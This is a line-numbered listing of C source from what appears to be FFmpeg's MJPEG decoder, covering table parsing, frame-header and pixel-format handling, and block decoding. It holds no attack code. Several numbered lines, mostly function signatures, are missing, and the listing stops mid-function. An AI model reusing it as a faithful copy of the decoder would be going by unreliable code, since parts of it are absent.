109 static void init_idct(AVCodecContext *avctx)
110 {
111 MJpegDecodeContext *s = avctx->priv_data;
112
113 ff_idctdsp_init(&s->idsp, avctx);
114 ff_init_scantable(s->idsp.idct_permutation, &s->scantable,
116 }
117
119 {
120 MJpegDecodeContext *s = avctx->priv_data;
121 int ret;
122
123 if (!s->picture_ptr) {
124 s->picture = av_frame_alloc();
125 if (!s->picture)
126 return AVERROR(ENOMEM);
127 s->picture_ptr = s->picture;
128 }
129
130 s->pkt = avctx->internal->in_pkt;
131
132 s->avctx = avctx;
133 ff_blockdsp_init(&s->bdsp, avctx);
134 ff_hpeldsp_init(&s->hdsp, avctx->flags);
135 init_idct(avctx);
136 s->buffer_size = 0;
137 s->buffer = NULL;
138 s->start_code = -1;
139 s->first_picture = 1;
140 s->got_picture = 0;
141 s->orig_height = avctx->coded_height;
143 avctx->colorspace = AVCOL_SPC_BT470BG;
144 s->hwaccel_pix_fmt = s->hwaccel_sw_pix_fmt = AV_PIX_FMT_NONE;
145
146 if ((ret = init_default_huffman_tables(s)) < 0)
147 return ret;
148
149 if (s->extern_huff) {
150 av_log(avctx, AV_LOG_INFO, "using external huffman table\n");
151 if ((ret = init_get_bits(&s->gb, avctx->extradata, avctx->extradata_size * 8)) < 0)
152 return ret;
153 if (ff_mjpeg_decode_dht(s)) {
154 av_log(avctx, AV_LOG_ERROR,
155 "error using external huffman table, switching back to internal\n");
156 if ((ret = init_default_huffman_tables(s)) < 0)
157 return ret;
158 }
159 }
160 if (avctx->field_order == AV_FIELD_BB) { /* quicktime icefloe 019 */
161 s->interlace_polarity = 1; /* bottom field first */
162 av_log(avctx, AV_LOG_DEBUG, "bottom field first\n");
163 } else if (avctx->field_order == AV_FIELD_UNKNOWN) {
164 if (avctx->codec_tag == AV_RL32("MJPG"))
165 s->interlace_polarity = 1;
166 }
167
168 if (avctx->codec_id == AV_CODEC_ID_SMVJPEG) {
169 if (avctx->extradata_size >= 4)
170 s->smv_frames_per_jpeg = AV_RL32(avctx->extradata);
171
172 if (s->smv_frames_per_jpeg <= 0) {
173 av_log(avctx, AV_LOG_ERROR, "Invalid number of frames per jpeg.\n");
174 return AVERROR_INVALIDDATA;
175 }
176
177 s->smv_frame = av_frame_alloc();
178 if (!s->smv_frame)
179 return AVERROR(ENOMEM);
180 } else if (avctx->extradata_size > 8
181 && AV_RL32(avctx->extradata) == 0x2C
182 && AV_RL32(avctx->extradata+4) == 0x18) {
183 parse_avid(s, avctx->extradata, avctx->extradata_size);
184 }
185
186 if (avctx->codec->id == AV_CODEC_ID_AMV)
187 s->flipped = 1;
188
189 return 0;
190 }
191
192
193 /* quantize tables */
195 {
196 int len, index, i;
197
198 len = get_bits(&s->gb, 16) - 2;
199
200 if (8*len > get_bits_left(&s->gb)) {
201 av_log(s->avctx, AV_LOG_ERROR, "dqt: len %d is too large\n", len);
202 return AVERROR_INVALIDDATA;
203 }
204
205 while (len >= 65) {
206 int pr = get_bits(&s->gb, 4);
207 if (pr > 1) {
208 av_log(s->avctx, AV_LOG_ERROR, "dqt: invalid precision\n");
209 return AVERROR_INVALIDDATA;
210 }
211 index = get_bits(&s->gb, 4);
212 if (index >= 4)
213 return -1;
214 av_log(s->avctx, AV_LOG_DEBUG, "index=%d\n", index);
215 /* read quant table */
216 for (i = 0; i < 64; i++) {
217 s->quant_matrixes[index][i] = get_bits(&s->gb, pr ? 16 : 8);
218 if (s->quant_matrixes[index][i] == 0) {
219 int log_level = s->avctx->err_recognition & AV_EF_EXPLODE ? AV_LOG_ERROR : AV_LOG_WARNING;
220 av_log(s->avctx, log_level, "dqt: 0 quant value\n");
221 if (s->avctx->err_recognition & AV_EF_EXPLODE)
222 return AVERROR_INVALIDDATA;
223 }
224 }
225
226 // XXX FIXME fine-tune, and perhaps add dc too
227 s->qscale[index] = FFMAX(s->quant_matrixes[index][1],
228 s->quant_matrixes[index][8]) >> 1;
229 av_log(s->avctx, AV_LOG_DEBUG, "qscale[%d]: %d\n",
230 index, s->qscale[index]);
231 len -= 1 + 64 * (1+pr);
232 }
233 return 0;
234 }
235
236 /* decode huffman tables and build VLC decoders */
238 {
239 int len, index, i, class, n, v;
240 uint8_t bits_table[17];
241 uint8_t val_table[256];
242 int ret = 0;
243
244 len = get_bits(&s->gb, 16) - 2;
245
246 if (8*len > get_bits_left(&s->gb)) {
247 av_log(s->avctx, AV_LOG_ERROR, "dht: len %d is too large\n", len);
248 return AVERROR_INVALIDDATA;
249 }
250
251 while (len > 0) {
252 if (len < 17)
253 return AVERROR_INVALIDDATA;
254 class = get_bits(&s->gb, 4);
255 if (class >= 2)
256 return AVERROR_INVALIDDATA;
257 index = get_bits(&s->gb, 4);
258 if (index >= 4)
259 return AVERROR_INVALIDDATA;
260 n = 0;
261 for (i = 1; i <= 16; i++) {
262 bits_table[i] = get_bits(&s->gb, 8);
263 n += bits_table[i];
264 }
265 len -= 17;
266 if (len < n || n > 256)
267 return AVERROR_INVALIDDATA;
268
269 for (i = 0; i < n; i++) {
270 v = get_bits(&s->gb, 8);
271 val_table[i] = v;
272 }
273 len -= n;
274
275 /* build VLC and flush previous vlc if present */
276 ff_free_vlc(&s->vlcs[class][index]);
277 av_log(s->avctx, AV_LOG_DEBUG, "class=%d index=%d nb_codes=%d\n",
278 class, index, n);
279 if ((ret = ff_mjpeg_build_vlc(&s->vlcs[class][index], bits_table,
280 val_table, class > 0, s->avctx)) < 0)
281 return ret;
282
283 if (class > 0) {
284 ff_free_vlc(&s->vlcs[2][index]);
285 if ((ret = ff_mjpeg_build_vlc(&s->vlcs[2][index], bits_table,
286 val_table, 0, s->avctx)) < 0)
287 return ret;
288 }
289
290 for (i = 0; i < 16; i++)
291 s->raw_huffman_lengths[class][index][i] = bits_table[i + 1];
292 for (i = 0; i < 256; i++)
293 s->raw_huffman_values[class][index][i] = val_table[i];
294 }
295 return 0;
296 }
297
299 {
300 int len, nb_components, i, width, height, bits, ret, size_change;
301 unsigned pix_fmt_id;
302 int h_count[MAX_COMPONENTS] = { 0 };
303 int v_count[MAX_COMPONENTS] = { 0 };
304
305 s->cur_scan = 0;
306 memset(s->upscale_h, 0, sizeof(s->upscale_h));
307 memset(s->upscale_v, 0, sizeof(s->upscale_v));
308
309 len = get_bits(&s->gb, 16);
310 bits = get_bits(&s->gb, 8);
311
312 if (bits > 16 || bits < 1) {
313 av_log(s->avctx, AV_LOG_ERROR, "bits %d is invalid\n", bits);
314 return AVERROR_INVALIDDATA;
315 }
316
317 if (s->avctx->bits_per_raw_sample != bits) {
318 av_log(s->avctx, s->avctx->bits_per_raw_sample > 0 ? AV_LOG_INFO : AV_LOG_DEBUG, "Changing bps from %d to %d\n", s->avctx->bits_per_raw_sample, bits);
319 s->avctx->bits_per_raw_sample = bits;
320 init_idct(s->avctx);
321 }
322 if (s->pegasus_rct)
323 bits = 9;
324 if (bits == 9 && !s->pegasus_rct)
325 s->rct = 1; // FIXME ugly
326
327 if(s->lossless && s->avctx->lowres){
328 av_log(s->avctx, AV_LOG_ERROR, "lowres is not possible with lossless jpeg\n");
329 return -1;
330 }
331
332 height = get_bits(&s->gb, 16);
333 width = get_bits(&s->gb, 16);
334
335 // HACK for odd_height.mov
336 if (s->interlaced && s->width == width && s->height == height + 1)
337 height= s->height;
338
339 av_log(s->avctx, AV_LOG_DEBUG, "sof0: picture: %dx%d\n", width, height);
340 if (av_image_check_size(width, height, 0, s->avctx) < 0)
341 return AVERROR_INVALIDDATA;
342 if (s->buf_size && (width + 7) / 8 * ((height + 7) / 8) > s->buf_size * 4LL)
343 return AVERROR_INVALIDDATA;
344
345 nb_components = get_bits(&s->gb, 8);
346 if (nb_components <= 0 ||
347 nb_components > MAX_COMPONENTS)
348 return -1;
349 if (s->interlaced && (s->bottom_field == !s->interlace_polarity)) {
350 if (nb_components != s->nb_components) {
351 av_log(s->avctx, AV_LOG_ERROR,
352 "nb_components changing in interlaced picture\n");
353 return AVERROR_INVALIDDATA;
354 }
355 }
356 if (s->ls && !(bits <= 8 || nb_components == 1)) {
358 "JPEG-LS that is not <= 8 "
359 "bits/component or 16-bit gray");
360 return AVERROR_PATCHWELCOME;
361 }
362 if (len != 8 + 3 * nb_components) {
363 av_log(s->avctx, AV_LOG_ERROR, "decode_sof0: error, len(%d) mismatch %d components\n", len, nb_components);
364 return AVERROR_INVALIDDATA;
365 }
366
367 s->nb_components = nb_components;
368 s->h_max = 1;
369 s->v_max = 1;
370 for (i = 0; i < nb_components; i++) {
371 /* component id */
372 s->component_id[i] = get_bits(&s->gb, 8) - 1;
373 h_count[i] = get_bits(&s->gb, 4);
374 v_count[i] = get_bits(&s->gb, 4);
375 /* compute hmax and vmax (only used in interleaved case) */
376 if (h_count[i] > s->h_max)
377 s->h_max = h_count[i];
378 if (v_count[i] > s->v_max)
379 s->v_max = v_count[i];
380 s->quant_index[i] = get_bits(&s->gb, 8);
381 if (s->quant_index[i] >= 4) {
382 av_log(s->avctx, AV_LOG_ERROR, "quant_index is invalid\n");
383 return AVERROR_INVALIDDATA;
384 }
385 if (!h_count[i] || !v_count[i]) {
386 av_log(s->avctx, AV_LOG_ERROR,
387 "Invalid sampling factor in component %d %d:%d\n",
388 i, h_count[i], v_count[i]);
389 return AVERROR_INVALIDDATA;
390 }
391
392 av_log(s->avctx, AV_LOG_DEBUG, "component %d %d:%d id: %d quant:%d\n",
393 i, h_count[i], v_count[i],
394 s->component_id[i], s->quant_index[i]);
395 }
396 if ( nb_components == 4
397 && s->component_id[0] == 'C' - 1
398 && s->component_id[1] == 'M' - 1
399 && s->component_id[2] == 'Y' - 1
400 && s->component_id[3] == 'K' - 1)
401 s->adobe_transform = 0;
402
403 if (s->ls && (s->h_max > 1 || s->v_max > 1)) {
404 avpriv_report_missing_feature(s->avctx, "Subsampling in JPEG-LS");
405 return AVERROR_PATCHWELCOME;
406 }
407
408 if (s->bayer) {
409 if (nb_components == 2) {
410 /* Bayer images embedded in DNGs can contain 2 interleaved components and the
411 width stored in their SOF3 markers is the width of each one. We only output
412 a single component, therefore we need to adjust the output image width. We
413 handle the deinterleaving (but not the debayering) in this file. */
414 width *= 2;
415 }
416 /* They can also contain 1 component, which is double the width and half the height
417 of the final image (rows are interleaved). We don't handle the decoding in this
418 file, but leave that to the TIFF/DNG decoder. */
419 }
420
421 /* if different size, realloc/alloc picture */
422 if (width != s->width || height != s->height || bits != s->bits ||
423 memcmp(s->h_count, h_count, sizeof(h_count)) ||
424 memcmp(s->v_count, v_count, sizeof(v_count))) {
425 size_change = 1;
426
427 s->width = width;
428 s->height = height;
429 s->bits = bits;
430 memcpy(s->h_count, h_count, sizeof(h_count));
431 memcpy(s->v_count, v_count, sizeof(v_count));
432 s->interlaced = 0;
433 s->got_picture = 0;
434
435 /* test interlaced mode */
436 if (s->first_picture &&
437 (s->multiscope != 2 || s->avctx->time_base.den >= 25 * s->avctx->time_base.num) &&
438 s->orig_height != 0 &&
439 s->height < ((s->orig_height * 3) / 4)) {
440 s->interlaced = 1;
441 s->bottom_field = s->interlace_polarity;
442 s->picture_ptr->interlaced_frame = 1;
443 s->picture_ptr->top_field_first = !s->interlace_polarity;
444 height *= 2;
445 }
446
447 ret = ff_set_dimensions(s->avctx, width, height);
448 if (ret < 0)
449 return ret;
450
451 if ((s->avctx->codec_tag == MKTAG('A', 'V', 'R', 'n') ||
452 s->avctx->codec_tag == MKTAG('A', 'V', 'D', 'J')) &&
453 s->orig_height < height)
454 s->avctx->height = AV_CEIL_RSHIFT(s->orig_height, s->avctx->lowres);
455
456 s->first_picture = 0;
457 } else {
458 size_change = 0;
459 }
460
461 if (s->avctx->codec_id == AV_CODEC_ID_SMVJPEG) {
462 s->avctx->height = s->avctx->coded_height / s->smv_frames_per_jpeg;
463 if (s->avctx->height <= 0)
464 return AVERROR_INVALIDDATA;
465 }
466
467 if (s->got_picture && s->interlaced && (s->bottom_field == !s->interlace_polarity)) {
468 if (s->progressive) {
469 avpriv_request_sample(s->avctx, "progressively coded interlaced picture");
470 return AVERROR_INVALIDDATA;
471 }
472 } else {
473 if (s->v_max == 1 && s->h_max == 1 && s->lossless==1 && (nb_components==3 || nb_components==4))
474 s->rgb = 1;
475 else if (!s->lossless)
476 s->rgb = 0;
477 /* XXX: not complete test ! */
478 pix_fmt_id = ((unsigned)s->h_count[0] << 28) | (s->v_count[0] << 24) |
479 (s->h_count[1] << 20) | (s->v_count[1] << 16) |
480 (s->h_count[2] << 12) | (s->v_count[2] << 8) |
481 (s->h_count[3] << 4) | s->v_count[3];
482 av_log(s->avctx, AV_LOG_DEBUG, "pix fmt id %x\n", pix_fmt_id);
483 /* NOTE we do not allocate pictures large enough for the possible
484 * padding of h/v_count being 4 */
485 if (!(pix_fmt_id & 0xD0D0D0D0))
486 pix_fmt_id -= (pix_fmt_id & 0xF0F0F0F0) >> 1;
487 if (!(pix_fmt_id & 0x0D0D0D0D))
488 pix_fmt_id -= (pix_fmt_id & 0x0F0F0F0F) >> 1;
489
490 for (i = 0; i < 8; i++) {
491 int j = 6 + (i&1) - (i&6);
492 int is = (pix_fmt_id >> (4*i)) & 0xF;
493 int js = (pix_fmt_id >> (4*j)) & 0xF;
494
495 if (is == 1 && js != 2 && (i < 2 || i > 5))
496 js = (pix_fmt_id >> ( 8 + 4*(i&1))) & 0xF;
497 if (is == 1 && js != 2 && (i < 2 || i > 5))
498 js = (pix_fmt_id >> (16 + 4*(i&1))) & 0xF;
499
500 if (is == 1 && js == 2) {
501 if (i & 1) s->upscale_h[j/2] = 1;
502 else s->upscale_v[j/2] = 1;
503 }
504 }
505
506 if (s->bayer) {
507 if (pix_fmt_id != 0x11110000 && pix_fmt_id != 0x11000000)
508 goto unk_pixfmt;
509 }
510
511 switch (pix_fmt_id) {
512 case 0x11110000: /* for bayer-encoded huffman lossless JPEGs embedded in DNGs */
513 if (!s->bayer)
514 goto unk_pixfmt;
515 s->avctx->pix_fmt = AV_PIX_FMT_GRAY16LE;
516 break;
517 case 0x11111100:
518 if (s->rgb)
519 s->avctx->pix_fmt = s->bits <= 9 ? AV_PIX_FMT_BGR24 : AV_PIX_FMT_BGR48;
520 else {
521 if ( s->adobe_transform == 0
522 || s->component_id[0] == 'R' - 1 && s->component_id[1] == 'G' - 1 && s->component_id[2] == 'B' - 1) {
523 s->avctx->pix_fmt = s->bits <= 8 ? AV_PIX_FMT_GBRP : AV_PIX_FMT_GBRP16;
524 } else {
525 if (s->bits <= 8) s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV444P : AV_PIX_FMT_YUVJ444P;
526 else s->avctx->pix_fmt = AV_PIX_FMT_YUV444P16;
527 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
528 }
529 }
530 av_assert0(s->nb_components == 3);
531 break;
532 case 0x11111111:
533 if (s->rgb)
534 s->avctx->pix_fmt = s->bits <= 9 ? AV_PIX_FMT_ABGR : AV_PIX_FMT_RGBA64;
535 else {
536 if (s->adobe_transform == 0 && s->bits <= 8) {
537 s->avctx->pix_fmt = AV_PIX_FMT_GBRAP;
538 } else {
539 s->avctx->pix_fmt = s->bits <= 8 ? AV_PIX_FMT_YUVA444P : AV_PIX_FMT_YUVA444P16;
540 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
541 }
542 }
543 av_assert0(s->nb_components == 4);
544 break;
545 case 0x22111122:
546 case 0x22111111:
547 if (s->adobe_transform == 0 && s->bits <= 8) {
548 s->avctx->pix_fmt = AV_PIX_FMT_GBRAP;
549 s->upscale_v[1] = s->upscale_v[2] = 1;
550 s->upscale_h[1] = s->upscale_h[2] = 1;
551 } else if (s->adobe_transform == 2 && s->bits <= 8) {
552 s->avctx->pix_fmt = AV_PIX_FMT_YUVA444P;
553 s->upscale_v[1] = s->upscale_v[2] = 1;
554 s->upscale_h[1] = s->upscale_h[2] = 1;
555 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
556 } else {
557 if (s->bits <= 8) s->avctx->pix_fmt = AV_PIX_FMT_YUVA420P;
558 else s->avctx->pix_fmt = AV_PIX_FMT_YUVA420P16;
559 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
560 }
561 av_assert0(s->nb_components == 4);
562 break;
563 case 0x12121100:
564 case 0x22122100:
565 case 0x21211100:
566 case 0x21112100:
567 case 0x22211200:
568 case 0x22221100:
569 case 0x22112200:
570 case 0x11222200:
571 if (s->bits <= 8) s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV444P : AV_PIX_FMT_YUVJ444P;
572 else
573 goto unk_pixfmt;
574 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
575 break;
576 case 0x11000000:
577 case 0x13000000:
578 case 0x14000000:
579 case 0x31000000:
580 case 0x33000000:
581 case 0x34000000:
582 case 0x41000000:
583 case 0x43000000:
584 case 0x44000000:
585 if(s->bits <= 8)
586 s->avctx->pix_fmt = s->force_pal8 ? AV_PIX_FMT_PAL8 : AV_PIX_FMT_GRAY8;
587 else
588 s->avctx->pix_fmt = AV_PIX_FMT_GRAY16;
589 break;
590 case 0x12111100:
591 case 0x14121200:
592 case 0x14111100:
593 case 0x22211100:
594 case 0x22112100:
595 if (s->component_id[0] == 'Q' && s->component_id[1] == 'F' && s->component_id[2] == 'A') {
596 if (s->bits <= 8) s->avctx->pix_fmt = AV_PIX_FMT_GBRP;
597 else
598 goto unk_pixfmt;
599 s->upscale_v[0] = s->upscale_v[1] = 1;
600 } else {
601 if (pix_fmt_id == 0x14111100)
602 s->upscale_v[1] = s->upscale_v[2] = 1;
603 if (s->bits <= 8) s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV440P : AV_PIX_FMT_YUVJ440P;
604 else
605 goto unk_pixfmt;
606 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
607 }
608 break;
609 case 0x21111100:
610 if (s->component_id[0] == 'Q' && s->component_id[1] == 'F' && s->component_id[2] == 'A') {
611 if (s->bits <= 8) s->avctx->pix_fmt = AV_PIX_FMT_GBRP;
612 else
613 goto unk_pixfmt;
614 s->upscale_h[0] = s->upscale_h[1] = 1;
615 } else {
616 if (s->bits <= 8) s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV422P : AV_PIX_FMT_YUVJ422P;
617 else s->avctx->pix_fmt = AV_PIX_FMT_YUV422P16;
618 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
619 }
620 break;
621 case 0x31111100:
622 if (s->bits > 8)
623 goto unk_pixfmt;
624 s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV444P : AV_PIX_FMT_YUVJ444P;
625 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
626 s->upscale_h[1] = s->upscale_h[2] = 2;
627 break;
628 case 0x22121100:
629 case 0x22111200:
630 if (s->bits <= 8) s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV422P : AV_PIX_FMT_YUVJ422P;
631 else
632 goto unk_pixfmt;
633 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
634 break;
635 case 0x22111100:
636 case 0x23111100:
637 case 0x42111100:
638 case 0x24111100:
639 if (s->bits <= 8) s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV420P : AV_PIX_FMT_YUVJ420P;
640 else s->avctx->pix_fmt = AV_PIX_FMT_YUV420P16;
641 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
642 if (pix_fmt_id == 0x42111100) {
643 if (s->bits > 8)
644 goto unk_pixfmt;
645 s->upscale_h[1] = s->upscale_h[2] = 1;
646 } else if (pix_fmt_id == 0x24111100) {
647 if (s->bits > 8)
648 goto unk_pixfmt;
649 s->upscale_v[1] = s->upscale_v[2] = 1;
650 } else if (pix_fmt_id == 0x23111100) {
651 if (s->bits > 8)
652 goto unk_pixfmt;
653 s->upscale_v[1] = s->upscale_v[2] = 2;
654 }
655 break;
656 case 0x41111100:
657 if (s->bits <= 8) s->avctx->pix_fmt = s->cs_itu601 ? AV_PIX_FMT_YUV411P : AV_PIX_FMT_YUVJ411P;
658 else
659 goto unk_pixfmt;
660 s->avctx->color_range = s->cs_itu601 ? AVCOL_RANGE_MPEG : AVCOL_RANGE_JPEG;
661 break;
662 default:
663 unk_pixfmt:
664 avpriv_report_missing_feature(s->avctx, "Pixel format 0x%x bits:%d", pix_fmt_id, s->bits);
665 memset(s->upscale_h, 0, sizeof(s->upscale_h));
666 memset(s->upscale_v, 0, sizeof(s->upscale_v));
667 return AVERROR_PATCHWELCOME;
668 }
669 if ((AV_RB32(s->upscale_h) || AV_RB32(s->upscale_v)) && s->avctx->lowres) {
670 avpriv_report_missing_feature(s->avctx, "Lowres for weird subsampling");
671 return AVERROR_PATCHWELCOME;
672 }
673 if ((AV_RB32(s->upscale_h) || AV_RB32(s->upscale_v)) && s->progressive && s->avctx->pix_fmt == AV_PIX_FMT_GBRP) {
674 avpriv_report_missing_feature(s->avctx, "progressive for weird subsampling");
675 return AVERROR_PATCHWELCOME;
676 }
677 if (s->ls) {
678 memset(s->upscale_h, 0, sizeof(s->upscale_h));
679 memset(s->upscale_v, 0, sizeof(s->upscale_v));
680 if (s->nb_components == 3) {
681 s->avctx->pix_fmt = AV_PIX_FMT_RGB24;
682 } else if (s->nb_components != 1) {
683 av_log(s->avctx, AV_LOG_ERROR, "Unsupported number of components %d\n", s->nb_components);
684 return AVERROR_PATCHWELCOME;
685 } else if ((s->palette_index || s->force_pal8) && s->bits <= 8)
686 s->avctx->pix_fmt = AV_PIX_FMT_PAL8;
687 else if (s->bits <= 8)
688 s->avctx->pix_fmt = AV_PIX_FMT_GRAY8;
689 else
690 s->avctx->pix_fmt = AV_PIX_FMT_GRAY16;
691 }
692
693 s->pix_desc = av_pix_fmt_desc_get(s->avctx->pix_fmt);
694 if (!s->pix_desc) {
695 av_log(s->avctx, AV_LOG_ERROR, "Could not get a pixel format descriptor.\n");
696 return AVERROR_BUG;
697 }
698
699 if (s->avctx->pix_fmt == s->hwaccel_sw_pix_fmt && !size_change) {
700 s->avctx->pix_fmt = s->hwaccel_pix_fmt;
701 } else {
702 enum AVPixelFormat pix_fmts[] = {
703 #if CONFIG_MJPEG_NVDEC_HWACCEL
705 #endif
706 #if CONFIG_MJPEG_VAAPI_HWACCEL
708 #endif
709 s->avctx->pix_fmt,
711 };
712 s->hwaccel_pix_fmt = ff_get_format(s->avctx, pix_fmts);
713 if (s->hwaccel_pix_fmt < 0)
714 return AVERROR(EINVAL);
715
716 s->hwaccel_sw_pix_fmt = s->avctx->pix_fmt;
717 s->avctx->pix_fmt = s->hwaccel_pix_fmt;
718 }
719
720 if (s->avctx->skip_frame == AVDISCARD_ALL) {
721 s->picture_ptr->pict_type = AV_PICTURE_TYPE_I;
722 s->picture_ptr->key_frame = 1;
723 s->got_picture = 1;
724 return 0;
725 }
726
727 av_frame_unref(s->picture_ptr);
728 if (ff_get_buffer(s->avctx, s->picture_ptr, AV_GET_BUFFER_FLAG_REF) < 0)
729 return -1;
730 s->picture_ptr->pict_type = AV_PICTURE_TYPE_I;
731 s->picture_ptr->key_frame = 1;
732 s->got_picture = 1;
733
734 // Lets clear the palette to avoid leaving uninitialized values in it
735 if (s->avctx->pix_fmt == AV_PIX_FMT_PAL8)
736 memset(s->picture_ptr->data[1], 0, 1024);
737
738 for (i = 0; i < 4; i++)
739 s->linesize[i] = s->picture_ptr->linesize[i] << s->interlaced;
740
741 ff_dlog(s->avctx, "%d %d %d %d %d %d\n",
742 s->width, s->height, s->linesize[0], s->linesize[1],
743 s->interlaced, s->avctx->height);
744
745 }
746
747 if ((s->rgb && !s->lossless && !s->ls) ||
748 (!s->rgb && s->ls && s->nb_components > 1) ||
749 (s->avctx->pix_fmt == AV_PIX_FMT_PAL8 && !s->ls)
750 ) {
751 av_log(s->avctx, AV_LOG_ERROR, "Unsupported coding and pixel format combination\n");
752 return AVERROR_PATCHWELCOME;
753 }
754
755 /* totally blank picture as progressive JPEG will only add details to it */
756 if (s->progressive) {
757 int bw = (width + s->h_max * 8 - 1) / (s->h_max * 8);
758 int bh = (height + s->v_max * 8 - 1) / (s->v_max * 8);
759 for (i = 0; i < s->nb_components; i++) {
760 int size = bw * bh * s->h_count[i] * s->v_count[i];
761 av_freep(&s->blocks[i]);
762 av_freep(&s->last_nnz[i]);
763 s->blocks[i] = av_calloc(size, sizeof(**s->blocks));
764 s->last_nnz[i] = av_calloc(size, sizeof(**s->last_nnz));
765 if (!s->blocks[i] || !s->last_nnz[i])
766 return AVERROR(ENOMEM);
767 s->block_stride[i] = bw * s->h_count[i];
768 }
769 memset(s->coefs_finished, 0, sizeof(s->coefs_finished));
770 }
771
772 if (s->avctx->hwaccel) {
773 s->hwaccel_picture_private =
774 av_mallocz(s->avctx->hwaccel->frame_priv_data_size);
775 if (!s->hwaccel_picture_private)
776 return AVERROR(ENOMEM);
777
778 ret = s->avctx->hwaccel->start_frame(s->avctx, s->raw_image_buffer,
779 s->raw_image_buffer_size);
780 if (ret < 0)
781 return ret;
782 }
783
784 return 0;
785 }
786
787 static inline int mjpeg_decode_dc(MJpegDecodeContext *s, int dc_index)
788 {
789 int code;
790 code = get_vlc2(&s->gb, s->vlcs[0][dc_index].table, 9, 2);
791 if (code < 0 || code > 16) {
792 av_log(s->avctx, AV_LOG_WARNING,
793 "mjpeg_decode_dc: bad vlc: %d:%d (%p)\n",
794 0, dc_index, &s->vlcs[0][dc_index]);
795 return 0xfffff;
796 }
797
798 if (code)
799 return get_xbits(&s->gb, code);
800 else
801 return 0;
802 }
803
804 /* decode block and dequantize */
805 static int decode_block(MJpegDecodeContext *s, int16_t *block, int component,
806 int dc_index, int ac_index, uint16_t *quant_matrix)
807 {
808 int code, i, j, level, val;
809
810 /* DC coef */
811 val = mjpeg_decode_dc(s, dc_index);
812 if (val == 0xfffff) {
813 av_log(s->avctx, AV_LOG_ERROR, "error dc\n");
814 return AVERROR_INVALIDDATA;
815 }
816 val = val * (unsigned)quant_matrix[0] + s->last_dc[component];
817 val = av_clip_int16(val);
818 s->last_dc[component] = val;
819 block[0] = val;
820 /* AC coefs */
821 i = 0;
822 {OPEN_READER(re, &s->gb);
823 do {
824 UPDATE_CACHE(re, &s->gb);
825 GET_VLC(code, re, &s->gb, s->vlcs[1][ac_index].table, 9, 2);
826
827 i += ((unsigned)code) >> 4;
828 code &= 0xf;
829 if (code) {
830 if (code > MIN_CACHE_BITS - 16)
831 UPDATE_CACHE(re, &s->gb);
832
833 {
834 int cache = GET_CACHE(re, &s->gb);
835 int sign = (~cache) >> 31;
836 level = (NEG_USR32(sign ^ cache,code) ^ sign) - sign;
837 }
838
839 LAST_SKIP_BITS(re, &s->gb, code);
840
841 if (i > 63) {
842 av_log(s->avctx, AV_LOG_ERROR, "error count: %d\n", i);
843 return AVERROR_INVALIDDATA;
844 }
845 j = s->scantable.permutated[i];
846 block[j] = level * quant_matrix[i];
847 }
848 } while (i < 63);
849 CLOSE_READER(re, &s->gb);}
850
851 return 0;
852 }
853
855 int component, int dc_index,
856 uint16_t *quant_matrix, int Al)
857 {
858 unsigned val;
859 s->bdsp.clear_block(block);
860 val = mjpeg_decode_dc(s, dc_index);
861 if (val == 0xfffff) {
862 av_log(s->avctx, AV_LOG_ERROR, "error dc\n");
863 return AVERROR_INVALIDDATA;
864 }
865 val = (val * (quant_matrix[0] << Al)) + s->last_dc[component];
866 s->last_dc[component] = val;
867 block[0] = val;
868 return 0;
869 }
870
871 /* decode block and dequantize - progressive JPEG version */
873 uint8_t *last_nnz, int ac_index,
874 uint16_t *quant_matrix,
875 int ss, int se, int Al, int *EOBRUN)
876 {
877 int code, i, j, val, run;
878 unsigned level;
879
880 if (*EOBRUN) {
881 (*EOBRUN)--;
882 return 0;
883 }
884
885 {
886 OPEN_READER(re, &s->gb);
887 for (i = ss; ; i++) {
888 UPDATE_CACHE(re, &s->gb);
889 GET_VLC(code, re, &s->gb, s->vlcs[2][ac_index].table, 9, 2);
890
891 run = ((unsigned) code) >> 4;
892 code &= 0xF;
893 if (code) {
894 i += run;
895 if (code > MIN_CACHE_BITS - 16)
896 UPDATE_CACHE(re, &s->gb);
897
898 {
899 int cache = GET_CACHE(re, &s->gb);
900 int sign = (~cache) >> 31;
901 level = (NEG_USR32(sign ^ cache,code) ^ sign) - sign;
902 }
903
904 LAST_SKIP_BITS(re, &s->gb, code);
905
906 if (i >= se) {
907 if (i == se) {
908 j = s->scantable.permutated[se];
909 block[j] = level * (quant_matrix[se] << Al);
910 break;
911 }
912 av_log(s->avctx, AV_LOG_ERROR, "error count: %d\n", i);
913 return AVERROR_INVALIDDATA;
914 }
915 j = s->scantable.permutated[i];
916 block[j] = level * (quant_matrix[i] << Al);
917 } else {
918 if (run == 0xF) {// ZRL - skip 15 coefficients
919 i += 15;
920 if (i >= se) {
921 av_log(s->avctx, AV_LOG_ERROR, "ZRL overflow: %d\n", i);
922 return AVERROR_INVALIDDATA;
923 }
924 } else {
925 val = (1 << run);
926 if (run) {
927 UPDATE_CACHE(re, &s->gb);
928 val += NEG_USR32(GET_CACHE(re, &s->gb), run);
929 LAST_SKIP_BITS(re, &s->gb, run);
930 }
931 *EOBRUN = val - 1;
932 break;
933 }
934 }
935 }
936 CLOSE_READER(re, &s->gb);
937 }
938
